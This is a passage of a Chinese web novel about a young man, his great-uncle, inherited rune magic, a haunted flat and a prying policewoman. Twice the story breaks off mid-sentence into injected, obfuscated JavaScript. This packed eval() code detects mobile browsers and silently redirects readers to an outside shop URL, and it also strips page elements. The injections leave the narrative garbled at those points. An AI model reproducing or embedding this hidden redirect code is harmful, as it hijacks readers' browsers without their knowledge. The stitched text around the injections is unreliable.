就像王睦友已经知道的那样,他的父亲是土生土长的邺京人,而他的爷爷,他的奶奶,也全都如此。王睦友对自己的家系没什么了解,在他短暂的对家庭的印象里,他们就是普通的三口之家。但据吉老爷子说,他们所属的家系在邺京甚至还只是个刚建成的小村落时就存在了,可以说是最为正统的本土原住民。 而这群邺京的原住民却也不知道怎么回事,他们全都像王睦友和吉老爷子一样,有着介于以太人类和普通人类之间的体质。 说到这里,吉老爷子幽幽地叹了口气:“可惜的是,到我们这一辈,这几百年间这种血统都不知道被稀释了几百倍了。我看那时候的记载,我们这群先人似乎连寿命和衰老周期都比普通人长很多,这点上更类似以太人类了。轮到我们了,就只能听见以太的声音了,唉……” 他幽怨地摸上了自己满是褶子的老脸,似乎进入了老人常有的忆往昔峥嵘岁月流程。 王睦友在一边干着急,但又不好意思直说,就干脆问道:“那这和我父亲的死,还有我的晕倒有什么关系?” “唉,”吉老爷子又是重重地叹了口气,“所以我才说,这不公平啊。” 他说:“我们能够从这种体质里得益的东西变少了,但是副作用却一点都不少。就比如我们也会本能地对巨量的,被操控的以太感到恐惧,再比如……” 他指了指自己,也指了指王睦友:“我们的血脉和邺京的以太流脉相连。所以我们理论上是不能离开邺京的。一旦脱离了邺京以太流脉的牵制,我们就会迅速地死于心脏衰竭。就比如你的父亲,他就是死于这个原因。他没听我的劝,离开邺京,去外地查看了几天,结果没想到,就算是回来了,最后也还是不行了……” 他说这话时一脸唏嘘,而王睦友听了心里也是万般波澜。 一方面他自己亲身经历了一次濒死体验,父亲死时的场景也随着吉老爷子的描述重新浮现在眼前,这让他不得不相信吉老爷子的说法。 但另一方面这个说法里面问题太多了,他的问题便如连珠炮般被抛了出来:“这不对吧?您不是前两天刚出门玩吗?而且我都在邺京外过了快二十年了,怎么之前也没事啊?” 吉老爷子挥挥手,让他稍安勿躁。 “我们问题一个一个来。唉,上年纪了,这话赶话的,我就记不太清问题了……我先理一下啊……” 他呆了一会,发现自己已经把王睦友提的第一个问题忘了个一干二净,便干脆直接回答了第二个问题:“就先说你吧。就像以太生物的成长是需要时间的,我们体内与以太流脉相连的这部分也是需要时间成熟的。你今年大概应该是……” 他算了算。 “二十二对吧?” 王睦友点点头。吉老爷子说:“对,差不多就该是你这个年纪了。在这个年纪前,我们滞留在外面也就不会有什么大问题。但如果到了这个年纪都没有回邺京,那问题就大了……” 他揉了揉自己的腰:“什么腰酸背痛心绞痛老年痴呆之类的慢性病老年病,就会接二连三地找上你。然后不出三年,一个崭新的植物人就诞生了。” 他见王睦友不仅没被自己的老年笑话逗笑,反而露出了一副写满了“真的假的?”的表情,便连忙解释道:“你别不信!这可是真事啊!我算算啊,我记得这好像是我六姨家的二女儿的大侄子的……这么说来,你该叫他……” 他还在掰着指头算辈分,王睦友见话题又快跑远了,便插了一嘴:“那按您这么说,我们的家系那么古老,有这种血统的人肯定不在少数。那这不得有至少好几千人没法离开邺京了吗?这么大规模的事件,我怎么之前也不见报道啊?而且这不会引起什么专家学者的关注吗?” 吉老爷子一听到“报道”这词,就突然像被踩了尾巴的猫那样:“别提专家学者了!研讨会那群人根本不顶用,那群酒囊饭袋根本就指望不上!现在倒是会把自己包装成人类之光,实际上功劳都是……诶?不对?我们说到哪儿了?” 他又呆了一会,才终于想起来,一拍脑袋说:“哦对对,为什么好像人不多。啊,这个就又是血统稀释的问题了。到我们这会,大概平均下来就是每一辈会出一个携带这种体质的。虽然这也只是平均来说,但是嘛,睦睦……” 他几乎是同情地看着王睦友,说:“你们爷俩,再带上我,就都中了头奖了。” 王睦友正想继续发问,吉老爷子又挥手让他安静:“欸,我知道你想问什么。” “我们有自己的一套锁定方法。” 他抬起手,在空气里画了些什么,一道鲜红的痕迹便出现在了王睦友裸露在短袖外的胳膊上。 “那就是符文。上次没怎么跟你详细讲符文,但其实符文的能力是真的多种多样,多到你想不到。就比如,球球。你之前不是很奇怪她为什么有的时候表现不对劲吗?那是因为,我们的一位擅长用符文的老祖宗住在她的身体里,就像那种什么时髦说法……''第二人格''?但实际上又不一样。这位先祖的存在状态比较特殊,只要有某个符合要求的人把代表他的符文纹在身上,他就可以附在那个人的身上,也会给那个人继承他生前的本事……” “那套符文,就是裘姐的花臂吗?” 吉老爷子点了点头。 王睦友突然想起了自己在列车上的梦,忍不住问道:“那我们的老祖宗…他是不是一个,黑发黑眼,长得还行,但好像脑子不是很好使的小年轻……” 他话音还没落,吉老爷子就少有地露出了极为严肃的表情。 “欸欸欸!你这小孩怎么说话的?”他批评道。 “那是我们的先祖,是个顶顶的大好人。他放弃了自己死后的安宁,选择陪伴在我们这群子孙后代身边……你怎么能说他脑子不好使呢!怎么样都得尊称他一句馗先生吧!” “……所以,是脑子不好使的馗先生?” “那不还是脑子不好使嘛!” 祖孙俩互不相让了对视了一会儿,最后还是老爷子先心虚地避开了视线。 “好吧。”他说,“馗先生是稍微有时候带点轴,但你说脑子不好使,这也……” 王睦友又回想了一下他梦里的列车上馗礼的那一系列谜语,还是忍不住说小话:“那不仅是轴的问题了吧。明明就是不记事……就像是老年痴呆的老年人那样。” 他这话一出口就知道坏事了,在心里忍不住给自己几个大比兜,就想吉老爷子连说馗先生脑袋不好使都听不得,自己这么说,那不是要把老人家气得上火 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这是王睦友内心的困惑,但他这次管住了自己的嘴,并没有把它说出来,只是尽量维持着一个乖巧听众的形象,试图把这份困惑用目光传递给自己的舅爷。 但吉老爷子明显不吃他这套,只是眼一闭,杯一端,直接倚老卖老耍起了无赖:“他可是比我还大的多的老年人了,就算是看在照顾老年人的份上,我们都少问他点这种会引起他困惑的问题吧。” 这与其说是辩解,倒更像是某种告诫。王睦友正想继续问,吉老爷子就灵活地继续了之前的话题,完全没了之前一直贯彻的老年人做派,思维之敏捷让王睦友都差点没跟上。 “但话又说回来了,”他说,“馗先生留给我们最大的财富,符文,它原本分为南北两派。北边我不了解,毕竟我这一辈子也没能出过邺京。南边的,可就是只有我们家会咯。” 他顿了顿,说:“所以它才会被称为仙法,至今被排除在主流的研究之外。” "仙法?主流之外?"王睦友挠挠头。他打开自己的终端搜索页面,看了一眼,接着一脸困惑地看着吉老爷子。 吉老爷子心说果然你们这群小年轻就是喜欢搞些小众的东西,肯定他:"对。符文就是我所说的仙法之一,是以太研讨会可能永远都无法掌握或者理解,也就不会去承认的技术。只有依靠它,我们才能 有一丝离开邺京的机会。也因此,它是只有我们可以拥有的东西……掌握仙法从来不是没有代价的。” 他看王睦友还在终端上写写画画,就拍了下他的背,试图把他的注意力拉回之后自己要讲的重要内容是。 “我们身上无法离开邺京的体质就像是毒,邺京的以太流脉就是疗效缓慢的解毒药。我们在邺京,毒和解毒药正好彼此抵消。而符文,它会让我们和邺京的以太流脉更加亲近,药效也就会翻倍了,也就是我们的病有治愈的可能。就比如老爷子我,我现在可以出邺京不超过一周。但像这次,我算错出门时间了,这才超过半天就不行了,唉,这什么时候是个头……睦睦?你在听吗?这是重要内容!” 王睦友抬起头看着他:“我在听,只是我想纠正你一个事……” 他把终端给一脸疑惑的吉老爷子看,在打开的页面上赫然是符文的百科。 他还怕吉老爷子眼神不好看不清字,便贴心地朗读道:“''符文,是在舆华古代,最早发展出的以太学 技术之一,是我国重要的非物质文化遗产。目前该技术主要的著作经典都由以太研讨会舆华分部收藏管理,此外还有少量该技术的使用者,即非正统继承者在世……'' 诶,诶!舅爷!醒醒!别吓我啊!诶诶诶!” 24. 一直有人住的房子也要小心 陈琳打了个哈欠,揉了揉眼睛,强行睁圆了快合上了的眼睛,以应对智能门锁的检验。 果然夜班是最熬人的。她把眼睛睁得更大了一点,在听到【验证通过】的提示音后才如释重负地又打了个哈欠。 她是邺京岩鑫区光辛街道健康卫生所的医生,在离诊所步行三十分钟的大光新村以远低于市场价的亲情价租下了这间老破小。和这个时代里无数的普通年轻人一样,她不算特别聪明,也非笨蛋,这为她的学业和工作帮上了一些不大不小的忙,但也仅此而已;她并不住在邺京,但是因为对邺京所代表的一类生活有所向往,便借着读大学的机会来到了这里。虽然在毕业后,她没能进入大医院工作,但是总归还是如愿以偿地留在了邺京。 为了方便通勤,她被迫在岩鑫区这个以房子老、租金贵而闻名邺京的老居民区租了间面积二十多平米的老公寓。在她刚搬进来时,她着实嫌弃了一把这年纪可以做她爷爷的五层老楼。不论是它落后的通风系统,还是旧到褪色的外墙,亦或者是可能随时会钻出什么啮齿类小动物的破旧走廊,这一切都让她在一段时间里无所适从。 但是无所适从只是一阵子的事,房东是家里亲戚、租金可以便宜可是很长一阵子的事——反正她也不指望这辈子能在邺京买上写着自己名字的房子,到时候赚够了钱、熬够了资历就跑路回老家。 但在偶尔路过那些逐渐破败的二手房中介公司,看到在玻璃门上滚动播放的房屋转手信息时,她总会忍不住停下脚步,先是看看那最大不超过五十平米的建筑面积,再用指头点着数起售价后跟着的零的个数来。 开玩笑,岩鑫区的地价,那可是高到连城市规划部门都不敢在这个老旧居民区搞拆迁的程度。钱多得没处花的房产商们从几年前开始就把重心放在了位于岩鑫区旁边,但是各方面都更适合让所谓"年轻的精英人士"居住的坤东区了,最近甚至还有小道消息说坤东区要和岩鑫区合并。等这些房产商们在坤东区建满了动辄二十层起跳的豪华平层居住房后,没准就会把目光投向老破小,但是因为占据了市中心一块地而贵得要命的岩鑫区了。但无论如何,自己都得在那个时间点之前攒够钱跑路,不然可能连三十平不到的老破小都租不起了。 好歹这个小单间还配了个小阳台,看在亲戚的面子上也没有额外算钱…… 不过话又说回来,这么老这么破的房子,即使地段再好,按照原来那个天价来出租,也很难找到房客吧? 房东真的有保养过这个建了都快一百年的房子吗? 她摇了摇头,觉得自己一定是太紧张了,才会想这些有的没的,便把手放在了房门上。在通过了最后一层身份验证后,她一边在心里祈祷着,希望今天家里千万别再出事了,一边怯生生地推开了门。 很好,今天的房间非常干净,没有凭空出现在地上的塑料袋,桌上也没有出现被吃了一半的三明治。她脱下自己穿着的单鞋,踩上拖鞋,轻手轻脚地走向房间角落的灶台,期间留意了一下天花板,在确信没有出现从天花板上垂下来的绳子后,又是小小地松了口气。她拉开冰箱,对了一下里面剩余的食物数量,心里一下就松快了一半。 今天看来也是没出事呢。她不由在心里给居委会的老爷爷比了个大拇指,心想虽然他看起来神神叨叨的,但是还的确挺靠谱,顺手就从冰箱里拿了一小罐牛奶蒸米出来,轻轻捏开了饮用口。她一边用从包装里自动伸出的吸管喝着今天的早饭,一边决定洗个澡就去舒舒服服地补觉,觉得人生充满了希望。 她捏小了手里的包装,哼着歌,拿了个前天刚买的柑橘味浴球,就走向了被她当作浴室的小隔断。 感谢以太技术,她心情颇好地想着,折叠浴室真是本世纪最伟大的发明。 但是正当她打算用出水口给浴缸加水时,在出水口旁边,一个形状细长折射着森森寒光的东西引起了她的注意。 陈琳把浴球随手放在了浴缸的边沿上,鬼使神差地拿起了那个东西。借着清晨还颇为明媚的阳光,她毫不费劲地就辨认出了那东西是什么。 那是一把没有刀套的水果刀,在刀刃上还沾着一些红色的液体。 学医的陈琳当然能够辨认出来那些液体。 那是血。 她惊叫一声,也顾不上自己脚上的拖鞋,直接拿着那把水果刀,没命地冲出了家门。 她本来还打算等一下电梯,但是在等电梯时,她听见了从对门传来的重物落地声,这让她更害怕了,干脆头也不回地就顺着楼梯冲了下去,直奔她所居住的街道的居委会。 陈琳的家闹鬼了,虽然她自己并不是很想承认。 从三个月前开始,她的家里就总会发生一点不能用常理解释的事情。从小事上来说,要么是她在忙着去上班的时候,一开冰箱就痛苦地发现前一天买好的早餐不见了;要么是在她加班了两天回家后,发现在桌子上出现了吃剩的水果皮,因为没有人打扫,生了恶心的蚊虫,她也只能捏着鼻子扔了果皮,再把桌子消毒一遍。 至于再大一点的事,那就更吓人了。 因为工作导致的昼夜颠倒和饮食不调,陈琳有服用维生素片的习惯。也就在两个月前,在她睡眼惺忪地准备吃维生素时,她猛然发现自己的药盒里出现了好多没有标记成分的药片。 因为在医院工作,她见识过太多因吃错药而导致的洗胃惨剧,于是对待这些白白小小的药片一向非常小心。就算只是无害的维生素片,她也会用终端在每一粒上面都打上特殊的标记,防止自己误服。 那这些凭空出现的无标药片就自然引起了她的注意。她壮着胆子公器私用,动用了医院配置在她的终端里的药品成分检测仪。而检测结果更是让她眼前一黑,那些填满了她的药盒的药片竟然都是高浓度,就算是拿医生的处方都只能一次购买个位数片的超强效安眠药。 甚至这个处方还只能开给以太人类,普通人吃个两粒就得送去洗胃。 她数了数那些没打标的药片数量,头皮发麻地算着药量:四舍五入,如果把这些一口气全吃了,就算是以太人类都得进急救室。 但离谱的事还不止这些。上个月,她深夜下班回家,刚一开门就看见自己家门口的天花板上,原本用来挂吸顶灯的钩子上垂下了一条高度比她的头高一点的绳圈。绳子和下面的圈都绷得紧紧的,活像恐怖电影里吊死鬼找替身的场景。 她当场尖叫着拿剪刀把那根已经扯直了的绳子剪断了,连换洗衣物也顾不上带,扭头就冲到了位于两条街外的快捷酒店躲了一晚上。 在那之后,她就彻底下定了决心要和房间里这位看不见的房客作斗争了。 她一开始以为是家里进了人了,即使她的房子所有的空间都已经被合理地利用起来,根本没有额外藏人的余地。但是比起虚无缥缈的鬼魂而言,怎么想都是家里切实进了人的猜测更可信,并且让人感到忧虑。 因为以太化这一现象的存在,陈琳甚至一度怀疑过家里是不是进了带有特殊特性,还没被管制的以太人,还专门去派出所拖来了一个协警机器人进行了全方位的搜索。但是协警小机器人的雷达则是明确地得出了,在这个房间里从没有住过以太人类的结论。 可这个结论不仅没能安慰到陈琳,反而让事情更糟糕了。 在现在这个大部分玄学都可以用科学解释的年代,她突然遭到了不属于这个世界的东西的袭击。一时之间,她觉得自己简直像是误入了食人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“就跟你要后续的符?” 老爷子猛猛摇头。 “不不不,你这孩子,想哪里去了。我们这儿和医院不一样。”他指了指进屋的房门,“如果这几天没事了,那就可以揭下来了。” 陈琳半信半疑道:“那要是之后还有事呢?” “之后肯定不会有事了。” 老爷子大手一挥,神情笃定中透着一股谜之自信,这让陈琳有点不合时宜地想笑:“要是再出事了,就再来找我,我再来处理一下子。不过嘛,所谓事不过三,如果下次处理了还没能彻底解决……” 他的语气一下变得有点心虚。 “那,一个月嘛,找个房子,应该还来得及搬。” 但这假设的前提终归是还没发生。 陈琳虽然之前只去过居委会一次,平日也不喜欢锻炼,但是人在极度恐惧下所激发的潜能是无限的。她这一路跑去居委会的路上畅通无阻,只可惜没有人能帮她掐个秒表,不然估计她能创下她这辈子一公里长跑的最佳纪录。 她一口气跑到了居委会门口,在恐惧与过量的多巴胺双重作用下,她也没管居委会里现在是个什么情况,推开门扯开嗓子就喊道:“吉师傅!快救救我!符!再给我……” 她累得差点趴在地上,但还是努力地举起手里捏着的水果刀,说道:“那东西……那东西,这次留了刀,还有血……” 但是房间里却没人应答。陈琳一手扶着门,一手拿着刀,只能用小臂抹开乱七八糟地糊在眼前的刘海,却发现居委会里现在不仅不是空无一人,倒还能说上一句人气旺盛。 除了吉老爷子以外,还有一男一女两个她不认识的陌生人。男的坐在吉老爷子身边,女的坐在他们对面,三个人此时正维持着一种奇妙的寂静,三双眼睛或惊恐或审视地看着她。 “哦?” 那个长得挺漂亮,但看起来就凶的年轻女性先开口了,语气里是压抑不住的兴奋,像只扑到了老鼠的猫。她猛地一拍桌子,震得办公桌上鹦鹉造型的小摆件都跳了一下:“这就是你说的什么都不知道?” 她一指刚进门,满脸“我是坏事了吗?”困惑的陈琳。 25. 如果别人说你有 看着热情招呼还一脸茫然的陈琳过来的季井仪,王睦友只觉得两眼发黑,忍不住直拿余光瞟自己舅爷,而后者此时还是那副老神在在的样子。 思考片刻,他干脆把自己装成一个等身高的摆件,不会说话也不会动,权把麻烦事都交给看起来胜券在握的吉老爷子处理。 他已经在居委会工作了一周了,大致说来就是大事没有,小事也没有,每天就是早上七点半开门收拾,八点准时上班,晚上六点锁门走人。他甚至以为自己是苦尽甘来,终于在邺京安定下来,再也遇不到什么邪门事了。 哦,除了他每天被迫进行的符文学习之外。 他本来以为吉老爷子只是用符文做个让他留在邺京的鱼饵,却没想到老人家对此却是相当认真。 这些天他们工作清闲,待处理的事务基本都能在午饭前清空,于是王睦友的下午时间就被吉老爷子有意识地空了出来,他好端端一个没信过玄学的男大学生就这样被迫坐在居委会积满了灰的小角落里,对着一堆全靠运气才不散架的老书发呆。 什么是炁?它和以太有什么区别?为什么这么个简单的东西要拐弯抹角说那么一大堆?更重要的是…… 这字怎么念啊! 被终端都扫不出的生僻字和图解跳大神包围的小年轻抓耳挠腮,他小心翼翼回过头,就对上了自己舅爷殷切的眼神。 “怎么样?”他迫不及待地问,“我选的这几本都很适合初学者。没事,你也别不好意思,嫌写得太浅就和我说,我再给你换。” 王睦友眼前一黑,差点昏过去。 那就出工不出力吧,不然能怎么办呢? 难道还真跟老爷子说自己其实连字都认不全吗?! 但是很显然,在学习上,出工不出力总是比直接承认自己啥都看不懂灾难的。 也就是在他找到了出路过后没几天,他就深刻认识到了这个道理。当时他正和吉老爷子一起消化着裘诺今天从光辛饭店带回来的加餐,那个脑子不太好使的奇怪男人就再次上了裘诺的身。 “王睦友在学符文?”他对吉老爷子所说的话展现出了兴趣,显然没有注意到王睦友额头上越来越密集的冷汗和悄悄往旁边挪动的屁股。 “看看我能不能帮上点什么吧?” 他沉思了一会儿,露出一点温和的笑模样。 “可惜这具身体并不适合做示范……王睦友,告诉我你这些天都看了什么吧?” 之后发生的一切都只能用灾难来形容了。 馗先生描述以太和以太生物的用语和现在所使用的词语大相径庭。在他说“炁”时,王睦友一脸懵逼,吉老爷子还笑眯眯地写了下那个字,问他是不是不会读但认识。 王睦友小脸煞白,摇摇头,根本想不起来。 吉老爷子鼓励他:“就是以太啊!你这孩子,是不是看到之前别人留在页边的注释,就没记这个字啊?诶呀,这不应该啊,不过可以理解,再接再厉,再接再厉。下次别这么粗心就好了。” 馗先生也表达了相当程度的理解。 在检讨了一下自己一直没有学新的以太学词汇后,他又和王睦友提起“眚”,王睦友还是满脸写着空白。 这次吉老爷子都有点急了。他扒拉了一下王睦友,拿过他的手在他掌心写了对应的字:“就是以太生物啊!我让你读的第一本书,开头就是讲这个的!” 王睦友都快哭了,憋了半天才小声地说终端没识别出这几个字,气得吉老爷子差点昏过去,又开始大肆批判以太研讨会简直是要用终端把人全都养成文盲。被点名的文盲也不甘示弱,直说没有被录进终端是这些老文献的损失。又差点把老人家气得背过去。 最后还是馗先生替他解了围。他问王睦友有没有学会画一些符文,也许直接从实用入手会更适合他的学习方式。 这总算是撞上了王睦友唯一会的了。 他看不懂古文和生僻字,但还是看得懂画的。同时他也并非是不爱学习之人,只是真的看不懂那些用古文长篇大论的内容,干脆一口气背了好几个不同的符文纹样下来。 一听馗先生这么说,他便气定神闲地拿着纸和笔,三两下画出了他记得最牢的一个。 他本来自我感觉良好,但直到他最后一笔画完,还是什么都没有发生,连带着本来其乐融融的气氛也一下就冷了下来。 王睦友还在想难道这是个静音效果的符文,一抬头就看见一脸复杂的馗先生,和旁边脸都青了的吉老爷子。 馗先生看了吉老爷子一眼,见后者一言不发,就叹了口气。 他酝酿了一会措辞,才放软了语气地说道:“嗯,王睦友,你……” 他顿了顿。 “那个,嗯,符文的形抓得还是不错的。就是,方式,呃……” 他说不下去了,见吉老爷子的脸色越来越难看,他也是终于坐不住了,留下一句“你要是下次遇到看不懂的东西,就来找我吧,我直接教你。”就逃离了这个是非之地,留下刚睡醒,脑袋还昏昏沉沉的裘诺和已经处于爆发边沿的吉老爷子。 “奇耻大辱啊!”吉老爷子拍着桌子骂。 他很少算旧账。却唯独这件几天前发生的事他怎么都过不去,可见他被气成什么样。 “我哪里能想到,你这傻孩子连最基础的绘画方式都没搞懂啊!” 老爷子本来嗓音就不再响亮,这下情绪上头,那干脆就是比破锣嗓子还破锣嗓子。 王睦友一边捂着耳朵,一边弱弱地为自己辩解:“但是,但是……” 他委屈地说:“医院爆炸案那会,我画符文的时候,就是这样画的啊……” “那是馗先生已经画好的,用烧伤的方式留在你身上的!那是纯门外汉都能用的啊!你这都学了快半个月了,和门外汉没什么区别啊!” “可是,可是……”王睦友更委屈了,“这,我连书里的字都认不全,更别说这些个句子怎么感觉都支离破碎的……我真的看不懂啊!” 他这话说出来自己都觉得是有点过于理直气壮了,心想这下肯定是要挨骂了,便做好了十万分的心理准备。 但他没想到,他这话居然噎住了吉老爷子,甚至连他脸上也露出了一丝微妙的表情。 他一下就冷静下来了,对王睦友说了句:“你在这里等我。”就一头扎进了书房。 随着翻箱倒柜的声音,过了大概五分钟,吉老爷子带着一身灰尘出来了,手上还拿着一本巴掌大,却相当厚实的小开本。 他刚开口想和王睦友说话,就打了个喷嚏,但还是郑重其事地把这本小开本递给了王睦友。 “哎,仔细想想,”他说,“这事其实也不能全怪你。当年我也有这种时候。不过那时候吉明……我是说,我的胞弟还在,我们是一起学的,怎么说都算有个伴……自然是简单多了。但吉明,他在这方面的学习速度可比我快多了,所以我就只能靠它开小灶了。” 吉老爷子小心翼翼地用袖子把那个小开本封皮上的灰擦干净,就像在清洁婴儿脏兮兮的小脸。 这个动作看在王睦友眼里不知怎么的,显得有些悲伤。 但这种觉察很快就被他的疑问盖过了。 我什么时候多了个小舅爷出来?怎么没听人说过啊? 他正想八卦地问那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265397|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一嘴时,吉老爷子就欲盖弥彰地推荐起了这本书:“休息室里藏的那些,都是馗先生在过去记录下的符文雏型。我们一代一代都是使用那些书本的。正确算来,我们不仅是馗先生的后代,我们还是他的徒子徒孙。不过嘛……” 他咳嗽了一声,目光游移:“我很尊敬馗先生。人那么大本事,那么大年纪了,也没什么架子,对谁都很好。唉,我不是背后说人坏话啊……” 他压低声音:“唉,就,人都有自己擅长不擅长的嘛。馗先生,他就很不会教人。非常非常不会,所以他写的那些书……” 看到吉老爷子那欲言又止的样子,王睦友心有戚戚焉地点点头。 祖孙俩相顾无言,一时之间,对糟糕教材的怨念超越了时间,打通了横在他们之间的代沟。等两人回过神来时,那本脏兮兮的小开本已经被王睦友牢牢攥在了手里,像抱着个救生圈。 吉老爷子咳了几声,让音调恢复正常,说道:“所以嘛,我才会悄悄把这个小册子藏起来。我找找,对,你之前搞不明白的部分就在这里写着呢……” 他翻了几页,给王睦友随便指了几行。就那寥寥几个字看在王睦友眼里就像是久旱逢甘霖,之前好几个因为看不懂而无法理解的点顿时彼此连结了起来。 这不是教得很好吗!他又翻了几页,深刻认识到了小灶的力量。 他正觉得自己有救了,吉老爷子就又咳了一声,兜头一盆冷水就浇了过来。 “不过,你看看最前面的几个章节打下基础就罢了,之后的可别再看了。” 直接翻到最后几页的王睦友抬起头盯着他。 老爷子有些尴尬地摸了下胡子,解释道:“虽然具体原因我也不是很清楚——我也是听我的父亲说的,而我父亲也是被家里其他长辈这么嘱咐的。” 他又示意王睦友靠近点。 “这可是传家宝。但是这本里写得其实和我们家传的符文并不是一系,据说是更靠近北边另外一支流传下来的符文的风格。虽然基础相通,但是越到后期,它们间的差异就越明显。不过其中最大的区别还是在于,它不能帮我们抵御不能离开邺京的这条禁令,那实际上就没什么用了。况且……” 他一副有话不知该说不该说的样子,王睦友便非常捧场地露出了“哇!好想知道哦!”的表情,多少是给了老爷子一些说下去的动力。 “这个本子之前有次差点没保住。据说就是因为有人在馗先生面前使用了这本里记载的符文,而那次……” 他说:“好像馗先生发了有史以来最大的一次火。” 他没有理会王睦友惊讶的表情,自言自语:“难道这就是所谓的同行是冤家?” “馗先生?发火?”王睦友咂舌。 他想象了一下裘诺被馗先生上身后那个心平气和老年人的样子,一时很难把他和“发火”这个词联系起来。 “真的假的?”他问。 “我也是听我的父亲说的。真不真的……也不能保证,更何况现在的馗先生忘性这么大,谁知道还记不记得这茬。” 吉老爷子把书又往王睦友怀里推了推。 “但反正小心一点总是……” 他话还没说完,居委会的大门就被粗暴地推开了。 “这边就是居委会吗?” 王睦友听见从大门处传来的女声,正想抬头应一声,那风风火火进门的人就已经一屁股坐在了他们对面。 伴随着终端上叮一声跳出的对对方警察身份的验证通过,这位名叫季井仪的女警单刀直入:“我有话要问你们。” 她说:“你们,是掌握着仙法的人吧?” 26. 做一行爱一行 季井仪自己都没想到,第一天来光辛街道就能遇到这么刺激的事。 说实话,她对于街道派出所的工作是一点概念都没有——她对维护街道治安完全没有兴趣;给居民□□这种事如今更是被协警小机器人包圆了,她连面都不用出;甚至连写材料现在都有终端可以一键出稿,她的学识没有半点用武之地。 这是一个与她完全不相配的职位,但却与她的计划息息相关,这也是她为什么花了大力气才把自己放到这么样给位置上。 在吉老爷子这里碰了钉子是在她的意料之中,但是陈琳的突然闯入则是意料之外的了。 出于安全考虑,她悄无声息地把危险品水果刀从懵了的陈琳手里抽出来。 水果刀的刃已经变成了暗红色,刃上还沾着些黏腻的液体。她手一抖,水果刀便啪地一声掉在了桌上。 “血?”她问。 现在连切水果切到手都要来找居委会吗? 陈琳忙不迭地点头,还是半句话都说不出来。 季井仪心里一动,心想到这可能是跟眼前这一老一少的拉锯突破点,于是便深吸了口气,装出一副关心的样子,假情假意安抚报案人:“请先冷静一下,只是这样我们是无法了解在您身上到底发生了什么的。” 吉老爷子满是皱纹的眼角一跳,心说这小年轻怎么还带抢人话的,却在看到了桌上的小水果刀时倒吸一口冷气。 他正想问水果刀的来历,刚脱离了懵逼状态,但是精神也已经到达临界点的陈琳哇一声就哭了。 坐在一边的季井仪好整以暇,一副看戏的样子,还忙里偷闲地拿了几张面巾纸给陈琳,让她先擦擦脸。 陈琳一边抹眼泪,一边抽抽噎噎:“那个,鬼,鬼又出现了!” 她拿面巾纸狠狠擦了把哭出来的鼻涕,在季井仪期待的小眼神里,继续说道:“吉师傅!你,你得救救我……符,上次的符,得再给我……” “符,是说符文吗?” 季井仪冷笑一声,在看到陈琳从衣兜里掏出的那张皱皱巴巴的纸片后,那冷笑便逐渐变成了势在必得的微笑。 “可是吉先生,您刚才一直在和我强调的是,您不了解所谓仙法到底是什么。"她说,“但就以我的知识来看,这位……呃……” “陈……” “呃对,陈小姐出示的纸片上却明显是符文。甚至与我们季家所收藏的仙法……” 一只满是皱纹的手狠狠拍在了她眼前的桌上,发出刺耳的声音。 季井仪被这突如其来的愤怒吓了一跳,剩下的施压话语被直接堵了回去。 “你这人啊!”吉老爷子斥责道,“拎不拎得清啦!什么乱七八糟的话等会再说,这个小刀上……” 他气得连指着桌上水果刀的手指都在发抖。 旁边王睦友见状也赶紧去帮舅爷顺气,生怕这小老头气厥过去,留他一个人应付现在这个混乱无比的事态。 “舅爷,舅爷,吸气,吸气……” 他拍着吉老爷子的后背小声说,“诶,对,呼气……” 这么深呼吸几下,吉老爷子总算是恢复了一些理智,但还是一副愤愤不平的样子,指责道:“你作为一个警察总该先调查一下那把刀吧!上面可沾着血啊!” 季井仪也懵了。 她本来以为自己优势很大,满脑子就只剩下把这个之前一直跟她打太极的糟老头扳倒这个想法,也没想到之前不管她怎么逼问,都一直挺乐呵的吉老爷子会突然发作。 这下她左边是抽抽噎噎,红着眼睛盯着她的陈琳,面前是气得直哆嗦的吉老爷子,旁边还有浑身散发着“这人真是警察吗?”的困惑气息的王睦友,她这才发现自己变成了众矢之的,百口难辩。 "我,我……" 她的大脑还在找着借口,吉老爷子已经冲她挥了挥手,打出了最后的致命一击。 “好嘛,”他气不打一处来,连白花花的胡子都显得像炸了一样。 “公安的事你不管,研讨会的事你倒是管得起劲。也不知道你这小姑娘是来干嘛的。” 他拍了拍手,活像催丫头上工的恶地主:“还愣着干什么!赶紧检测一下血迹啊!我没看错的话…… “那是以太人的血啊!” 季井仪一惊,这才反应回来这件事的严重性。 事关以太人类与普通人的冲突,那往大了说就是需要以太研讨会介入的恶性事件了。也许是她对这样的可能本能性地排斥,也可能是因为吉老爷子盯着她的眼神实在是太过凶恶,等她回过神来时,她已经完全遵从着老人家的指令开始检查起小刀上的血迹了。 反过来一想,她觉得这未免是过于丢人了,于是她做起了最后的挣扎:“能辨认出血迹是属于以太人类的,您还说您对仙法一无所知……” “这就不是现在该说的事!” 好嘛,又被凶了。 季井仪瞥了一眼吹胡子瞪眼的小老头,权衡几秒,还是只能把这闷亏连着“你也配对我指手画脚?”的不贫一起咽了下去。 来日方长。她看着被王睦友灌降血压药的老人暗暗想。 只要还在这里,总是能打探出点什么的。 比如今天,她想,已经证明了这第二支存在于邺京的符文传承直到今天都是真实存在着的。 倒是身为世家的季家一直传承着的那一支…… 她突然感觉到了一阵不甘,面色便更加不善了。 这边刚帮老人递完药的王睦友左看看被吓傻在原地的陈琳,又看看脸比锅底还黑的季京仪,终于按耐不住好奇心,小声地问舅爷:“这个警察从刚才进来就在胡言乱语什么啊?什么仙法……什么世家季家的……” 他正想补一句说这些名词听起来就像出自哪本烂大街的修仙小说,刚刚喘匀了气的吉老爷子就小声回答他:“就是说符文。” “啊,我想也是,这种东西一听就是幻想出来……还真有啊?!” 